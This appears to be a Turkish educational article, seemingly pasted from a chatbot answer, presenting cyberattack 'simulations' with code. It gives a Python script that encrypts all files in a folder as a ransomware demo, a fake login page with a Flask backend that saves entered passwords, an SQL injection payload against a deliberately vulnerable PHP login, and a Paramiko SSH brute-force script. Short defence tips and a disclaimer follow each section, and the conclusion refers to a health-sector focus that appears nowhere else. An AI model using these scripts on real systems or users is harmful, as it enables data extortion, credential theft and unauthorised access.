
Aşağıda, fidye yazılımları (ransomware), kimlik avı (phishing), yetkisiz erişim ve veri sızıntıları, IoT cihazlarının ele geçirilmesi gibi konulara dair örnek uygulamalar ve ilgili kod örnekleri verilmiştir.
⚠ UYARI: Aşağıdaki kodlar yalnızca eğitim ve siber güvenlik testleri amacıyla paylaşılmıştır. Kötüye kullanımı yasa dışıdır ve etik dışı faaliyetler suç teşkil edebilir. Tüm testler yalnızca izin verilen ortamlarda yürütülmelidir.
1. Fidye Yazılımları (Ransomware) Örnek Uygulama
Senaryo:
Basit bir Python ransomware simülasyonu, belirli bir klasördeki dosyaları AES ile şifreleyerek fidye talebinde bulunur.
Kod Örneği:
📌 AES ile Dosya Şifreleme ve Çözme
pythonKopyalaDüzenlefrom cryptography.fernet import Fernet
import os
# Anahtar oluşturma ve kaydetme
def create_key():
key = Fernet.generate_key()
with open("key.key", "wb") as key_file:
key_file.write(key)
# Anahtarı yükleme
def load_key():
return open("key.key", "rb").read()
# Dosyaları şifreleme
def encrypt_files(directory):
key = load_key()
cipher = Fernet(key)
for file in os.listdir(directory):
file_path = os.path.join(directory, file)
if os.path.isfile(file_path):
with open(file_path, "rb") as f:
data = f.read()
encrypted_data = cipher.encrypt(data)
with open(file_path, "wb") as f:
f.write(encrypted_data)
# Dosyaları çözme
def decrypt_files(directory):
key = load_key()
cipher = Fernet(key)
for file in os.listdir(directory):
file_path = os.path.join(directory, file)
if os.path.isfile(file_path):
with open(file_path, "rb") as f:
encrypted_data = f.read()
decrypted_data = cipher.decrypt(encrypted_data)
with open(file_path, "wb") as f:
f.write(decrypted_data)
# Kullanım
directory = "./target_folder"
create_key() # Anahtar oluştur
encrypt_files(directory) # Dosyaları şifrele
# decrypt_files(directory) # Çözmek için aç
🛠 Savunma Yöntemleri:
✅ Ağ segmentasyonu kullanarak fidye yazılımın yayılmasını önleme
✅ Düzenli yedekleme ve offline saklama
✅ Kimlik doğrulama ve izinleri kısıtlama
2. Kimlik Avı (Phishing) Saldırıları Örnek Uygulama
Senaryo:
Sahte bir giriş sayfası oluşturup kullanıcının giriş bilgilerini çalmaya çalışan bir kimlik avı saldırısı simüle edilir.
Kod Örneği:
📌 Sahte Giriş Sayfası (HTML + Flask Backend)
index.html
– Sahte Login Sayfası
htmlKopyalaDüzenle<!DOCTYPE html>
<html>
<head>
<title>Fake Login</title>
</head>
<body>
<h2>Giriş Yap</h2>
<form action="/login" method="post">
Kullanıcı Adı: <input type="text" name="username"><br>
Şifre: <input type="password" name="password"><br>
<input type="submit" value="Giriş Yap">
</form>
</body>
</html>
server.py
– Kullanıcı Bilgilerini Kaydeden Backend
pythonKopyalaDüzenlefrom flask import Flask, request, render_template
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/login", methods=["POST"])
def login():
username = request.form["username"]
password = request.form["password"]
with open("credentials.txt", "a") as file:
file.write(f"Kullanıcı: {username}, Şifre: {password}\n")
return "Giriş başarısız! Lütfen tekrar deneyin."
if __name__ == "__main__":
app.run(port=5000)
🛠 Savunma Yöntemleri:
✅ 2FA kullanımı – İkinci faktör doğrulama kimlik avını engeller
✅ Web filtreleri – Phishing sitelerini engellemek için DNS bazlı filtreleme
✅ Kullanıcı farkındalığı – Çalışanların bilinçlendirilmesi
3. Yetkisiz Erişim ve Veri Sızıntıları Örnek Uygulama
Senaryo:
Yetkisiz bir kullanıcının bir veritabanına SQL Injection kullanarak erişmesini sağlayan bir simülasyon yapılır.
Kod Örneği:
📌 Zayıf Güvenlikli SQL Sorgusu ve Exploit
Zayıf PHP Kodu (login.php
)
phpKopyalaDüzenle<?php
$conn = new mysqli("localhost", "root", "", "test_db");
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
echo "Giriş başarılı!";
} else {
echo "Giriş başarısız!";
}
?>
SQL Injection Kullanımı
Saldırgan aşağıdaki girişleri girerse veritabanı tüm kayıtları döndürebilir:
pgsqlKopyalaDüzenleUsername: admin' OR '1'='1
Password: herhangi bir şey
Bu saldırıyı engellemek için hazırlıklı ifadeler (prepared statements) kullanılmalıdır:
phpKopyalaDüzenle$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
🛠 Savunma Yöntemleri:
✅ SQL Injection önlemek için prepared statements kullanın
✅ Veri şifreleme (örneğin, SHA-256 ile hashleme)
4. IoT Cihazlarının Ele Geçirilmesi Örnek Uygulama
Senaryo:
Bir saldırganın SSH hizmeti açık olan bir IoT cihazına brute-force saldırı düzenlemesi.
Kod Örneği:
📌 Paramiko ile SSH Brute-Force Saldırısı
pythonKopyalaDüzenleimport paramiko
host = "192.168.1.100"
username = "root"
passwords = ["123456", "password", "toor", "admin"] # Zayıf şifre listesi
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in passwords:
try:
client.connect(host, username=username, password=password)
print(f"Başarılı giriş: {password}")
break
except:
print(f"Başarısız deneme: {password}")
🛠 Savunma Yöntemleri:
✅ IoT cihazlarda güçlü parolalar kullanın
✅ SSH hizmetini sadece belirli IP’lere açın
✅ Çift faktörlü kimlik doğrulama kullanın
Sonuç
Bu makalede, sağlık sektörüne yönelik fidye yazılımı, kimlik avı saldırıları, yetkisiz erişim ve IoT saldırıları konularında örnek uygulamalar ve korunma yöntemleri incelendi. Siber güvenliğin sağlanması için penetrasyon testleri, güvenlik politikaları ve farkındalık eğitimleri kritik öneme sahiptir.